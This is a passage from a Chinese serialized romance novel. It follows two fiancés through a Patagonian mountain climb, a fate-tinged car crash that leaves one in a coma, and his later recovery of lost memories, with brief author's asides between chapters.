程起云说:“都没有。我和你的婚约没有继续履行,也没和那人修成正果。他的正果是钟旻,钟旻南下和我们聚会的时候遇上了他,两个人两情相悦,把我搞垮后双宿双飞去京城了。” 何芷安露出迷茫的眼神:“钟旻谁啊?” 程起云提醒:“初三和我同班的,校足球队的前锋。” 何芷安恍然大悟,接着就笑开了:“不是,这还有他的戏份呢?你睡前是想了什么啊那你好可怜,最后不是孤家寡人啦?” 程起云点头:“嗯,因为囚禁人家,被钟旻闯进来开枪打断了腿。浙兴也完蛋了,连带影响了浙生,我爸气得中风。最后我破产一个人坐在轮椅上,没人管我。” 何芷安安静下来,看着他。 “我呢?” “你也不要我了。” “说呸。”何芷安忽然说,“呸呸呸!” 程起云跟着他呸了三下,才问:“做什么?” 何芷安说:“帮佣阿姨教我的,说了不吉利的话之后呸三下就不作数了。梦和现实都是反的,你不要把坏话说出来,不过说出来也没事,呸过已经不能当真了。” 程起云只是看着他。 何芷安说:“不管怎么样,我都不会让你一个人的。” 程起云问:“就算我和别人好了?” 何芷安说:“那你不是都破产还被打断腿了么!已经受到了残酷的惩罚!” 程起云胸膛起伏,笑了半天。双臂搂着身上的何芷安晃了晃,认真地说。 “我不会那么做。” 何芷安拍开他的手,翻身平躺回床上:“跟我承诺这个干嘛,你要是真能和初中同学上演这种狗血大戏,我也不生气,先带你看看脑子去。” 程起云被逗笑了,何芷安也跟着笑起来。 何芷安说:“我大学志愿报了央美,不出国。” 嘲笑完程起云,担心他惦记着自己出国念书两人又要分离才会做这种梦,何芷安又添了这一句话。程起云侧躺着,看着他曲线优美的侧脸,心里熨帖,手指捻动他铺散的发丝,轻声说,我知道。 在此刻,没有人把这个和科幻小说一样离奇的梦境当真。它好似他们平静生活中一朵毫不起眼的水花,激起的涟漪如此轻微,直到许久以后才以不可抵挡之势蓦地回荡开来,在猝不及防间将他们裹挟其中。 ——然后他们才感受到那股推着自己力量,原来最初就有了征兆。 时间很快过去,何芷安回家参加了毕业宴会,又和程起云接受了为期半个月的登山训练。 出发去机场的路上,两个人还在研究菲茨罗伊峰的最佳攀登线路。 何芷安:“哥哥,禁飞令你怎么搞定的?” 程起云:“我联系上阿根廷当局,给他们的国家公园科研项目捐了一笔钱,三天内特飞权就下来了。” 何芷安:“多少钱?” 程起云:“五千万美元。” 何芷安:“哇,那还挺便宜的。” 程起云拿到特飞权后干脆委托当地安排了两架AS350,这是南美常用的直升机机型,现在已经在查尔滕镇待命。 联系好的教练带着装备也已经等在镇上,万事俱备,只等他们抵达。 程起云从何芷安手里的平板上收回视线,舒展了一下身体,当他的目光随意掠过窗外时,整个人忽然一僵。 何芷安喊了他几声,他才从双耳爆发的耳鸣中脱离,世界陡然回归清晰,他不可自控地喘了好几口气。 “怎么了?” 等他终于回神,发现何芷安正双手捧着他的脸,关切地看着他:“是哪里不舒服吗?” 程起云沉默半晌:“我刚刚在车窗外看见一个人。” 何芷安疑惑地注视着他。 程起云慢慢说:“那个梦,你还记得吗?公益基金项目的受益者,联大的学弟,我和他” 何芷安反应过来了,打断他。 “你是说你看见你在梦里强取豪夺的人了?” “嗯。” “……哈哈哈!” “你笑什么?” “就这把你吓成这样啊?”何芷安又心疼又好笑地搓了搓他的脸,“你不会心里一直记着这事儿吧?我早忘了。车开得这么快你能看清什么啊,是不是心里老想着,看见有点像的就对上号了?” 何芷安安慰他:“我也梦见过陌生人的脸。但梦都源于潜意识,再陌生的脸也是我们在见过的五官里随机排列组合想象出来的,就是真在现实里见到相像的也没什么,可能只是像你不知道在哪看见过、套进梦里去的某个人的五官。” 程起云其实没觉得自己仍然记挂着那个梦,但何芷安说得不错,就是自己刚刚无意一瞥看见的人真的和梦中人相似又如何,总不可能就意味着他的梦会成真吧? 何芷安看着他:“人家就是一路人,你要是不放心,我让人查查这条路的监控,看看他是不是跟你梦里的对上号了,真是你联大的学弟。” 程起云这会儿才算彻底从刚刚那阵古怪的冲击中放松下来,搂住何芷安。 “不用了,专门查梦里的人存不存在,到时候你爸妈以为我俩被什么算命的骗了。” “那还不是因为你!” “说明何大小姐积威甚重,让我在梦里找别人都惊惶度日,疑神疑鬼。” “你少来!不许这么叫我!” 车辆平稳驶过,很快将路边那道拖着行李箱的模糊身影留在身后。到达机场,两人在VIP厅休息了十分钟就到了登机时间,从华国飞阿根廷需要在巴黎中转,他们预计在那停留两天逛逛,再乘法航前往阿根廷首都,最后转飞离查尔滕镇最近的埃尔卡拉法特机场。 没有直飞的客机,私人商务机难以负荷过长时间跨度的燃油消耗,加上何芷安和程起云并不赶时间,总共花去五天,终于在七月初踏入了这座寒冬中的小镇。 第28章 第 28 章 约定 查尔滕镇镶嵌在菲茨罗伊峰和塞罗托雷峰之间的冰川河谷中, 被发源于洛斯冰川国家公园的Viedma湖冰河环绕,开车进入小镇时能看到结冰的河面。洁净的冰河裂隙中时不时喷出白色水雾,当地人称之为“鬼眼”。 何芷安去过荒野, 也去过人声鼎沸的小镇, 都与这里不同。查尔滕镇就像前往世界尽头的最后一站,是雄伟无比的大自然和人类文明的最后一处链接。 小镇仅仅两条主街,其余房屋零散分布着。房屋的顶部大多朝着包括菲茨罗伊峰在内的附近三大山峰倾斜, 就像是被狂风吹歪了似的。街上偶尔有裹着厚厚棉衣的人来往,不多,隔着车窗也能感受到那种冰凉的静谧。 何芷安忽然觉得有点孤独,但他看一眼身边开展越野车的程起云, 那种情绪又瞬间消散了。 他说:“哥哥,我觉得只要和你在一起,我去哪里都可以。” 程起云说:“我们马上就要去送死了,你知道菲茨罗伊峰比珠峰还难爬吗?” 何芷安心里的浪漫被打岔, 没好气地瞪他一眼:“你不要危言耸听!再说我们只是来感受的,又不是来征服山峰的,爬不上去就不爬了呗!” 程起云就笑起来,年轻男人清朗中透着磁性的笑音回荡在车厢内,震得何芷安耳朵有点发痒。 他觉得自己喜欢上这样实用主义的程起云真是完蛋了, 明明在他小时候对方还挺浪漫的。 也可能是他小时候不懂事, 程起云做什么他都觉得浪漫。 车停在了镇上唯二的咖啡馆, 周围的两栋民居已经被程起云租了下来。他们的向导、登山教练和直升机驾驶员都已经到了,装备也已经堆在仓库, 大约十人的队伍,约好在这里碰头。 咖啡馆面积不大,看起来就是个平房, 原木搭建的墙壁上挂满了冰爪和绳索,窗户底部嵌着翠绿的啤酒瓶底做装饰。浅浅的阳光投射过来,像是绿色的冰晶。 大门口挂着厚重的毛毡,掀开来才能推门进去。屋内壁炉中的火烧得很旺,温度比外面高许多,一下子就让何芷安露在外面的鼻尖和下巴回温了。 客人不多,他们拉起的队伍的人就占了一半,填满了两张桌子。 程起云拉了两张椅子在他们旁边坐下,用英文和队员们交流起来。向导主要是带着教练和飞行员熟悉这里到菲茨罗伊峰的地形,和程起云碰面后他的前期工作就结束了,接下来的登山行程他不会跟随,但是会等在小镇上接应他们。 何芷安听他们聊着航线和登山路线,目光却不由被咖啡馆的内饰吸引,这里处处透着一股高乔风的狂野意味,房屋墙壁的接缝处用马皮绳捆扎,手工锻造的马蹄铁、牛角杯悬挂在墙上,门框上有着不知名靛青颜料涂抹出的星星图案。 教练是美国人,还是个登山狂热爱好者,此刻整喋喋不休地赞颂着菲茨罗伊峰的美丽。何芷安不想再听,打了个招呼后,干脆起身在咖啡馆内逛了起来。 他沿着咖啡馆走了一圈,偶尔对上店内原住民看过来的视线,便友好地笑一笑,用手指触摸墙壁粗糙的纹路。 因为店内温度高,何芷安摘下了帽子和围巾。被帽子压得扁扁的头发贴在他的发顶和鬓角,衬着白皙的一张脸,显得年纪比实际更小。他没脱外套,加绒袖口遮掩住了他一半手掌,抵在墙上的手指瘦削如一支冰棱。 店长主动招呼他:“孩子,过来。” 店长会说英语,生得高大粗壮,毛发也很旺盛,像头温和的巨熊。他送了何芷安一杯咖啡,问他从哪里来,何芷安告诉了他自己的国家,他立马表示自己对东方文明很有些向往。 两人聊了没一会儿,程起云从背后兜住了何芷安的肩膀。何芷安沉迷异国风情,都没听到他的脚步声,倒是店长看着程起云低头吻了吻何芷安的唇角后眉毛皱起,问何芷安。 “你多大了?” 何芷安愣了一下,忽然反应过来,笑着往后靠进程起云的胸膛:“我成年了,明年就到20岁,这是我的未婚夫。” 店长浓密的眉毛舒展开来,看着还有一些不好意思,对他们说。 “祝福你们。” 程起云说:“谢谢,我们是来爬菲茨罗伊峰的。” 店长说:“所有人都是来征服它的。” 程起云却摇头:“我们不是。” 店长疑惑:“嗯?” 程起云笑了笑:“我们只是来让山峰记住我们,也让我们的记忆里有这样一座山峰。” 店长恍然大悟,竖起拇指说:“我懂了,你们是来将爱情刻在菲茨罗伊峰上的。” “祝福你们。”店长又说了一遍:“巨峰会记住你们,冰湖会倒映你们的约定。” ——这一刻,何芷安发觉,程起云仍旧是很浪漫的。 他们在查尔滕镇又停留了十天,来适应这里的低温,学会熟练运用各项装备,并接受教练们的指导。直到七月中旬,他们驾驶两辆AS350型直升机,分批来到离菲茨罗伊峰最近的冰川平台,在这里搭起了临时营地。 两名教练和飞行员会在山脚下等他们,另外两个教练将跟着他们上山。 临时帐篷中堆满了补给,他们在营帐内先睡了一觉。南半球的冬季白昼仅仅8个小时,他们需要凌晨1点出发,步行从临时营地前往山脚,否则下山时可能被困在黑暗的岩壁上。 出发前,程起云再次和教练们明确:他们不是来征服这座山峰的,在任何安全与冒险、放弃与坚持的抉择中,他们都必须选择前者。 教练们表示明白。 真正开始爬山后的境况和何芷安想象中很有不同,因为绝大部分时间里,他的面前只有粗糙坚硬的岩壁。大自然的鬼斧神工淋漓尽致地展现在他周遭与身后,他却无暇欣赏。 日升之初光线黯淡,岩壁挂着薄冰,冰镐撞击时会发出清脆的“叮”的声音。这座山体有着强烈的安静,他们这一行的“叮”声就是唯一的声响,时间久了,会让人有种错觉,好像这就是山体本身的声音。 程起云时不时会回头看他,大概是发现了他在出神,程起云挂在岩钉上,空出一只手摸了摸他的脸,确保他脸上的面罩是戴好了的。 “知道吗,有个真实案例。”他说:“有个登山者为了减重不戴双层面罩,呼气结冰堵塞住了气管。” 何芷安从攀登的寂静中抽离,缓了会儿才反应过来他在说什么,下意识也摸了摸自己的面罩,隔着手套碰到了程起云未收回去的手指。 “你干嘛吓我?” “不要发呆。” “好冷哦,也好安静。” “要回头吗?” 何芷安想了想,学着程起云的样子挂在岩钉上,转身往下望去。 冰川融水在寒冬冻结,乳蓝色的Laguna Sucia湖在晨曦中蔓延出道道冰裂纹,像是凸起的血管。整座冰湖好似大地之眼,如果他们能够接近峰顶,将会看见在日光中燃烧着的花岗岩壁。 “我们现在在什么高度?” 何芷安问身后的教练。 教练说了个数字,离峰顶还有很远。何芷安想了想,仰头和程起云说:“我们继续爬吧,我只要看着你的背影,就能继续下去。” 程起云看了他几秒钟,点头,调整姿势继续前进。 何芷安跟着他,过了四个小时,随着他们的高度上升,风开始大起来——更确切的来说,那简直是能平地直接将人吹起的狂风。他们现在已经接近登顶的最后一段路,在对最后的这一路段发起挑战之前,他们需要先通过眼前这条狭窄的岩缝。 因为缝隙狭窄又伴有狂风,这里被称为“风之走廊”,必须紧紧贴着岩壁往前挪动,缝隙最狭窄处只能容一人侧身通过。 经历长时间的攀登,何芷安的体力本来就临近告罄,在狂风席卷下还要将自己固定在岩壁上,脱力之下踩空了一块落脚点,整个人往下滑落一截,被安全绳吊在了半空。 跟着他们的两名教练,一个在程起云之前开道,一个在何芷安后方殿后,后方的那个此刻立即抓着何芷安的胳膊将他拽回原位,何芷安贴着山壁,大口大口地喘息着。 即使隔着双层面罩,呼吸时仍能感受到外界的寒意。狂风带走他们的体温,一旦风力达到150km/h,他们的攀爬行动将直接宣告失败,无人能在150km/h风力中继续攀岩,台风级的风速将他们从山体吹落就像拂走地面的蚂蚁一样容易。 程起云看了看用来测量风力的设备,现在已经到了80km/h,体感温度低于零下20°。从外面望入缝隙中,可以看见锯齿状的冰盖悬于顶部,如同一轮铡刀。 在这种风中,人声微不可闻,他没再问何芷安的意见,前后给两个教练打了个手势。教练暂时离开了他们,半晌,他们回来,带领程起云和何芷安离开裂缝,钻进了下方一个凹陷的岩洞中。 岩洞深有半米,程起云托着何芷安的背,让他先进去,自己坐在外侧。两名教练坐在他们对面。 进了岩洞后,风声小了一些,从尖锐的呼啸变成沉闷的呜声。何芷安和程起云紧紧挨在一块儿,程起云侧过身,不住在他肩膀、手臂上捏着,声音微微发紧。 “没事吗?刚刚吓到了吧?有哪里撞到了没有?” 何芷安歪头隔着帽子靠在他肩上,摇了摇头,程起云舒了口气,说。 “这次就到这里,不爬了。” “穿过那个缝隙就可以准备冲顶了呢。” 程起云看了他一眼,何芷安隔着护目镜也能感受到他警告的眼神,不由呼哧呼哧地笑起来。 他其实也没打算继续爬下去了,但是很喜欢被程起云管着,也爱看程起云在这过程中对他流露出的无奈和强制情绪,他喜欢被程起云约束。 对面的教练拧开携带的保温杯递过来,里面装着热可可,程起云先喂何芷安喝了两口,自己又喝了一口。 金发蓝眼的美国教练说:“今天的风力太高了,而且我们的速度比较慢,放弃是更正确的选择。” 另一个教练是阿根廷本地人,是登山协会的副会长,他同样对这个决定表示了赞同。 何芷安看了看时间,已经九点了,太阳高升,他原本还想在峰顶看日出的。 “哎,我们看不见‘Patagonia 的火焰’了。” 程起云说:“也不是完全看不见。” 他揽着何芷安往前,教练们配合地往后挪进角落。在固定了安全绳的情况下,何芷安和程起云并排坐在了洞口,探头往下看去,辽阔的原野一望无际,蜿蜒的冰川如同巨网,翡翠般透彻的Laguna Sucia湖镶嵌其中。在他们头顶,难以凭人力征服的花岗岩顶峰折射着灿烂的日光,如同两蔟燃烧的火炬。橘红色“火焰”倒映在冰蓝色的湖水中,形成冰与火相撞相融的强烈视觉冲击。 即使以他们的视角,花岗岩壁只斜斜没入湖水,火焰仅燃烧了冰湖一隅,也足以给人以油画般的华丽震撼。 何芷安喃喃:“好美……” 美国教练开口:“我登过几次峰顶,那里的景象更加动人心魄。有一本书里写,身处菲茨罗伊峰顶,就像站在了世界的刀刃上。” 何芷安看向程起云,这才发现程起云不知道何时已经收回往下望的目光,默然注视着自己。 “怎么办呀,哥哥。”他轻声说:“我们站不上世界的刀刃了。” 程起云说:“那我努力吧。” 何芷安:“嗯?” 程起云:“努力锻炼身体,再来挑战一次菲茨罗伊峰。如果你又没力气了,最后这段路我背你上去。” 美国教练很想说这是不可能的,但在开口前被阿根廷教练用胳膊杵了一下,他从专业角度清醒过来,看着前方正在对视的两个英俊的东方男人。 何芷安笑起来:“你要背我啊?那你需要很努力了,而且会很辛苦的。世界的刀刃——你背着我站上去会很痛吧?” 程起云说:“是背你的话就不会痛。” 何芷安伸出小拇指。 “那我们就约好了。” “约好了。” 程起云的小拇指隔着厚厚的手套和他勾在一起,这一刻,在异国人的见证里,在呜咽的狂风中,在燃烧的峰顶下,他们的约定同这无垠的世界一起,刻进了最纯净的Laguna Sucia湖—— 作者有话说:关于菲茨罗伊峰的描写参考了查阅的一些资料。并没有爬过山的士多啤说着,并狼狈地对15章修修改改(举白旗)哦,这章不是被人投诉,应该是审核自己觉得达咩的… 第29章 第 29 章 世界的声音 从菲茨罗伊峰下来, 因为体力透支和高海拔严寒,一行人中体质最差的何芷安不出意外的发烧了。 程起云喂他吃了药,用羽绒服把他裹成了个大球球, 从查尔滕镇返回国内的路途中, 何芷安始终昏昏沉沉,大部分时间里都顶着烧红的一对脸蛋在睡觉。 一直到飞机落地南都机场,何芷安的烧终于退了下去, 人也精神了。 “哎呀,不用担心。”何芷安还带着轻微的鼻音,和林芸女士报平安:“我们已经到南都了……退烧了,没事。” 林芸在电话里说:“还以为起云能管着你, 结果他什么都听你的,这怎么行?你自己几斤几两不清楚啊,就敢去爬那么高的山,下次是不是就要去爬珠峰了?” 何芷安纠正:“菲茨罗伊峰的攀爬难度比珠峰还高呢。” 林芸气笑了:“这是重点吗?你……” 何芷安被妈妈念叨得耳朵要起茧子, 干脆把手机丢给了程起云,也不管他正在开车。 程起云这几天在飞机上陪何芷安躺多了,许久没舒展身体,这回就没让司机开车,自己亲自开车——机场的地下室车库有程家的专属停车位, 来的时候多开了一辆放置装备的越野车, 现在正好开回去。 手机扔在怀里, 顺着衣服滑到了大腿上,程起云不得不靠边停车, 接起了林芸的电话。 林芸对程起云的态度好多了。 “起云,你当哥哥的不能太宠着他,无法无天了。” “阿姨, 高中毕业旅行毕竟只有一次,我想圆了安安的愿望也好。而且我们做了很多准备工作,将登山风险降到最低了。” “话是这么说……” “路上我和教练都看着他呢,他也很听话,我们到力所能及的高度就下来了,不会做超出风险预估的事的。” “但到底还是有风险的。” “您说得对,也就是他的毕业旅行,换做平时我肯定不答应的。他下次再想做这种高风险的事,我保管劝住他。” “你要说到做到……” 林芸的声音缓和下来,程起云又和她好好保证了一番,终于结束了这通电话。 何芷安窝在副驾驶座里,斜睨着他:“你这嘴脸……你到底跟谁是一伙的?” 程起云坦然到:“我现在和你爸妈是一伙儿的,等和你结婚了再跟你一伙儿吧,你现在在决定我们结不结婚这件事上说不上话。” 何芷安喊起来:“我怎么说不上话了!是基于我的强烈要求我爸妈才给我们订婚的!” 程起云手指敲着方向盘,看了他一眼。 “哦?那时候你才六岁,怎么强烈要求的?” 何芷安陷入沉思,而后脸渐渐红了,假装镇定地说:“我跟我爸妈说,以后我只让你亲我的脸。” 程起云一怔,这件事倒真是他首次知道。他下意识回想起初次见面的何芷安,那样一个白皙漂亮的小孩儿,主动把尚有婴儿肥的脸蛋压到自己嘴巴上,原来背后还和何晟与林芸放出了这样的宣言么? 何芷安半晌没听到动静,不由转头看他。却见程起云眼中冷漠化开,漆黑的瞳仁隐隐有光,单手抓着方向盘,左手肘撑在车窗上,食指摩挲着扬起的嘴唇。 “……你什么表情,你在回味什么啊!” 他被程起云的神情肉麻了个激灵,程起云却不理他,自顾自开着车,一看就是在回忆他小时候。 何芷安产生混合尴尬的害羞,也不敢真去闹正在开车的程起云,只好装作很忙地把车载音乐打开了。 程起云的歌单都是何芷安挑的,熟悉的音乐响起,何芷安还真听进去了,没大会儿就专心地哼起了歌。 等他转开了注意力,程起云才笑着扫了眼他的脸颊。 然而,在他收回视线之时,余光中却见一辆小型货车失控地越过原本的车道,朝着这个方向冲来。他猛地再度转头—— 这是个十字路口,他们的越野车正在按照指示灯直行,横行的小货车却不明原因没在红灯时停车,反而歪斜着冲向他们。里面的司机双手握着方向盘,头却低垂着,双目紧闭,疑似是突发急病昏厥。 失控的货车以高速行驶的状态狂飙,两辆车的距离霎时拉近,货车车头直冲何芷安所在的副驾! 在这短暂的几秒钟内,周围所有的画面都在程起云眼前放慢了,红色的歪斜的货车、来往的其他车辆,身边何芷安因惊惧张开的嘴唇。 于此同时,一切声音在他耳边放大。其他车辆的高声鸣笛,货车轰隆隆的行驶声,他甚至听到越野引擎的咆哮,像催促他快做些什么,然后他听到一声,哥哥。 是何芷安的声音。 何芷安在这种情况下,没有无意义地惊叫,也没有说别的话,只是叫了他。好像在他的潜意识中,任何时候,程起云总有办法。 或者程起云其实没有办法,但他只要确定程起云在他身边,那就足够了。 混乱的思绪比风更快掠过,程起云毫无犹豫,方向盘迅速向右打死,越野猛地□□,车头调转,整辆车几乎在瞬间横了过来。程起云所在的驾驶位代替何芷安,正面迎上了撞来的货车! 在一刻,程起云顺遂无比、光辉耀眼的二十一年人生中,头一次出现了浓郁不详的阴影。 他在自己罕见的恍惚中,直视了站在货车上的死神。 在这幻觉般的恍惚里,他高高悬起的心却平稳地落了下来——这辆越野各方面都是顶配,为了提高安全性连车窗和车衣都另外换过,用的是防火防爆的材料。只要不是正面相撞,副驾上的何芷安生还率极高。 只是…… “安安,不要怕。” 程起云最后说了这句,然后货车车头就重重撞上了刹停的越野。沉闷而巨大的撞击声吞噬一切,幻觉中的死神消失,程起云双耳爆发强烈的嗡鸣。 那嗡鸣声盖过所有,包括车辆撞击的声音。一时间他什么也听不到,大脑锐痛,仿佛被从颅顶凿入钢钉。世界变成了雪花点在嘈杂刺耳的嗡鸣声中重组,他怪异地在生死之间想起自己曾经与何芷安说过的那个梦境。 那个有关于他、钟旻,和一个陌生人的梦境。 一个与何芷安关系不大的梦境。 他骤然俯身,大口喘息,随着他俯身的动作,噪音和头痛突然消失了。他像是踉跄着从哪里跌了出来,回神却发现自己好好地坐在驾驶座上。 车门凹陷,安全气囊弹出来了,但他毫发无损。 货车保持着撞上越野的姿态在马路上静止,已经有路人朝这边跑来,想要帮忙救人。 程起云难以置信地活动了一下四肢,确保自己肢体健全,不是因为瘫痪之类的原因失去对疼痛的感知。他满头大汗,诧异且庆幸地“哈”了一声,抹了把脸去看何芷安。 “安……” 看清何芷安模样的那刻,程起云劫后余生的笑容僵死在了脸上。 在他想象中远离直接撞击点,本该比他情况更好的何芷安歪头倒在车窗上。车窗出现了裂痕,何芷安半张脸满是血迹,已经流淌到了下巴,滴滴不停歇地往下落。除此之外,他的左肋凹陷,右臂和双腿都有不正常的扭曲弧度,在副座车厢完好的情况下,以极惨烈的伤重姿态陷入了昏迷。 这样超脱合理范畴的伤口,简直像是原本应该加诸在程起云身上的一切,被突兀转移到了何芷安的身上。 程起云有那么片刻,大脑完全空白,丧失思维能力,怔怔地看着何芷安。 直到路人开始拍驾驶座的门,他才忽然惊醒似的,猛地扯开安全带,从安全气囊下挣扎出来,去拍何芷安的脸,感受到他的微弱的呼吸后,试图把他抱出车厢。 然而,他在驾驶座上,根本无法发力,他也不敢发力,因为何芷安看起来浑身是伤。 后来两侧车门都被打开了,路人急匆匆地说着什么。 “已经打120了,救护车在路上……” “你没事吧?你的同伴伤太重了,现在还是先不要移动,等医生来。” “货车司机休克了,不知道怎么回事儿……” 这些话成为难以理解的音节碎片,自顾自地往程起云耳朵里钻。他的大脑无法消化它们,写着“医生”的碎片狠狠往他神经上扎了一下,他才被动地在疼痛中说了句。 “谢谢。” 程起云并不是会遇事慌乱以至于失去行动能力的人,正常情况下,即使是他和何芷安遭遇车祸,生命岌岌可危,他也应当以最快速度为两人安排好救援。 然而,程起云坐在车里,看着近在咫尺的何芷安。一种不同于死亡的阴影降临在他身上,他凝视着何芷安一半鲜红一半苍白的面颊,从他离奇的伤口中窥见命运的预兆,心中有个没有由来却难以忽视的声音告诉他。 也许何芷安不会醒了。 因为你。 因为我……什么? 但是因为我,什么?我做了什么?我伤害了何芷安,但是为什么? 程起云不知道自己什么时候失去了意识,等他再醒过来,病房里红着眼睛的程母和他说,医院没有在他身上检查出任何受伤的部位。理论上来说,他现在是健康的。 但他却昏迷了一整周,请来的专家组研判,或许是车祸后的心理问题,类似于创伤后应激症。 而何芷安刚刚转出ICU,现在已经登上飞往英国的飞机,将在伦敦寻求下一步的治疗—— 作者有话说:日更真是要吐血了…(倒地抽搐) 第30章 第 30 章 端倪 何芷安肋骨断裂, 断面刺伤肝脾,引发腹腔出血。右臂及双腿都有不同程度的骨折——但这些伤口经过抢救后都得到了最佳处置,不会影响他的身体健康。 他之所以在ICU待了好几天, 还转去了伦敦脑科专院的原因是, 车祸时的撞击引发颅内血肿。瘀血压迫大脑神经,导致他陷入深度昏迷,至今未醒。 何晟和林芸没有怪程起云, 但也没有再和他说过话,程起云原本在英国守了一个月,后来也回来了。 何芷安始终没有醒。 经过两个多月的治疗,他躯干和四肢的伤都痊愈了, 脑内瘀血被吸收,控制在一个安全范围。但再接下去,无论英国的会诊专家采用什么手段,都无法使血肿完全消失, 只能维持现状。 何芷安躺在医院的病床上,穿着浅蓝色条纹的病号服,双手叠放在胸前。他面颊英俊苍白,神清平静,仿佛只是陷入一场睡梦。程起云用了一点手段避开何家调取了病房监控, 他整日将自己关在书房, 呈现监控画面的电脑24小时开着, 就像何芷安正在他身边。 程起云清楚自己无法真的出现在这间病房,继续在何芷安身边待下去。 因为亲眼目睹毫无知觉躺在病床上的何芷安这一境况让他发疯, 他不能确定自己在失控下会做些什么。 最煎熬的时候,他想干脆掐住何芷安的脖颈,让悬在头上的这柄利剑干脆利落地斩下。他掐死何芷安, 然后抱着他从住院部24楼跳下去,等他们的尸体碎在一起,就再也没有人会害怕,也再不用忍耐。但等他清醒一些,他又会极哀伤地想,都怪他。 他总是叫何芷安公主,但公主都没有好下场。白雪公主就吃了毒苹果昏睡过去了,遇到能拯救她的王子只是童话概率事件。 程起云一度把所有关于叫何芷安公主的录音都删除,但过了两天,怕他醒了之后不高兴,又录了回去。 他做着无用的斗争,进行没有意义的自省、自我折磨,日日在没拉开窗帘的黑暗书房盯着何芷安的监控,其实他清楚,也许何芷安还有一条生路。 这条生路藏在他的内心深处,他不愿意、不甘心,他几乎是痛恨着不去正视,但他知道它存在。 何芷安昏迷后两个月零二十一天。 程起云在桌上摁灭燃了一半的香烟,给浙生重症病公益基金项目的负责人拨去电话。 电流声在他耳边响起,带来错觉般的刺痛。 很快,电话接通了。 “小程总?” 程起云的喉咙因长时间不说话和抽烟干哑,声带黏连着,开口像吞刀子:“今年基金的受助人名单,统计过来没有?” “您稍等。”对面大概是叫人去查了,大概半分钟后回复到:“受助人名单已经有了,不过这是初定名单,还要经过几轮筛查才能正式确定下来。” 程起云:“发一份给我。” 负责人:“好对了,我也是才想起来,这批受助人里有一个是刚考上联大的学生,家里挺不容易的。是您的学弟,也算缘分。” 程起云眼皮一动。 面前的电脑屏幕显示出刚刚传来的名单,鼠标滚动着页面迅速下滑,一张张陌生的面孔不断掠过,直到某张蓝底证件照骤然撞进视野,男人握着鼠标的手霎时顿住。 简单朴素的证件照,面容清秀,眼睛明亮。似乎是不经常微笑,嘴角含蓄地抿着,即使是上扬的角度也流露倦怠的苦意。 父亲不详,母亲患有乳腺癌 今年南都的理科高考状元,联大的新生 一张和他梦里一模一样的脸。 他的名字叫,白非。 程起云骤然往后倒入椅背,屈起胳膊压住眼睛,胸膛震动着,发出嘶哑的笑声。 命运啊 他的笑声越来越大,已经到了声嘶力竭的地步。尚未挂断的电话里传来负责人关切的询问,程起云终于停下笑容,漆黑的眼睛直直盯着屏幕上白非的脸。 “半个小时之内。”他低声说:“按照最高标准,把捐赠款打到这个叫白非的人的账户上。” 他挂断了电话。 时间一分一秒过去,程起云坐在黑暗中的办公椅里,身体被屏幕的光映出僵硬的轮廓。他不动,目光平直向前,桌上两面屏幕,稍小的那张定格于白非的脸,另一张宽大的曲面屏中,何芷安仍然无知无觉地沉睡在病床上。 第二十五分钟,负责人传来消息,已完成基金拨款。 第三十四分钟,病房里,何芷安的手指微微动了一下。 第四十分钟,程起云的电话响了。 专院的主治医师激动地说:“程!您的未婚夫醒了,接下来我们要为他做个全面的检查” 程起云隔着九千五百公里,看着屏幕里的何芷安睁开眼睛。看着他坐起来,被何晟、林芸和医务人员团团包围,接着被转移出病房,监控镜头转动,最后拍到他一角苍白的侧影。 又坐了一会儿后,程起云站了起来。 他拿起放在墙边的高尔夫球杆,对准桌上的两张屏幕,胳膊肌肉隆起,猛地将它们砸了个稀烂!火光闪烁,音箱嗡鸣,在类似耳鸣的响动中,白非的脸,何芷安的病房尽数粉碎,留下一地残渣。 程起云站在散乱破碎的电脑零件里,抽完了一支烟,然后终于打开书房的门,迈进了夏日几近能焚烧皮肤的刺目日光中。 何芷安在病房里睁开了眼睛。 “小安!你总算醒了!”今天一大早就过来守在病房里的齐诚嚎出了声,差点痛哭流涕:“我靠,你昏迷了整整三天!要不是医生说你没事我都要随你而去了!” 何芷安被他吵得有些头疼:“你先别随,我怎么了?” 齐诚看他拧着眉毛的样子,立刻放轻了音量。 “哦,我把你从钟旻那儿接回来的时候不是碰见个闯红灯的脑残呢,车就撞上了,这你记得吧?我是没受什么伤,你撞到了头当场就昏过去了,送来医院后医生说你没事,主要是皮外伤,还有点轻微的脑震荡。” “我也是才知道,你高三毕业那年出车祸脑子里还残留了血肿。这次阴差阳错,反而把凝固在你脑干不知道具体哪儿,我也记不住,反正是让那个血肿化开了,接下来等着瘀血被自行吸收就可以了。” 说到这里,齐诚盯着他又叹了口气:“不是,我这回才知道你四年前出的车祸这么严重。是有什么隐情吗?那会儿消息瞒得那么紧,我和东子都以为你就是普通剐蹭,去英国也是为了提前适应学校呢?” 隐情 何芷安靠着枕头,眼神颤了颤,但没等他开口,齐诚随手在床头摸了个苹果吃着,又说。 “哦,你失忆了,不记得高三车祸的事,问你也白问。” “呃、等等,不对啊”齐诚咀嚼的动作停下,看着何芷安一点也不惊讶的脸:“你” 何芷安平静地说:“我想起来了。” 他这次车祸看着严重,实际上危险性不大,反而在这次撞击后因祸得福,压迫脑神经的瘀血疏通大半,让他在昏迷期间模模糊糊地找回了自己的记忆。 他记得查尔滕镇的咖啡馆,记得菲茨罗伊峰燃烧的峰顶,记得蜷缩在岩洞中时他和程起云的约定。 同时,他也记起了回程后那场惨烈的车祸。记得失去意识之际程起云投过来的绝望的眼神——记得他在英国的医院醒来,却忘记了自己出过车祸的事情。 以在毕业典礼那天的大树下、见到手捧向日葵的程起云为起点,直至在英国苏醒,这期间的一切记忆他都忘记了。 他只觉得睡了太漫长的一觉,明明上一刻还穿着毕业礼服在学校的礼堂听着校长念叨,下一刻就到了英国。将近三个月的时光在他的人生中被抹去,医生说这是他脑内的血肿导致的,他能够醒来已经是万幸。 “醒过来就好,醒过来就好。” 林芸抱着他哭,连一向情绪不外露的何晟也坐在病床边,紧紧握着他的手。 何芷安不愿意见到父母如此难过的模样,连忙安慰,他自认身体没什么不舒服的,甚至试图下床绕病床跑一圈展示自己的健康。被何晟骂回去之后,看着情绪缓过来一些的父母,才不好意思地问。 “那起云哥呢?” “他怎么没来看我?你们说他和我一起出的车祸,他不会很严重吧?” 何芷安双目失神,往日画面清晰地展现在眼前,他再次看见自己紧张兮兮地问出这句话后,何晟和林芸复杂到难以言喻的表情。 那既不是对程起云的抵触,也不是类似于“我孩子跟在你身边出事了”的迁怒,反而是一种对于无能为力之事的惋惜,甚至隐隐流露恐惧。 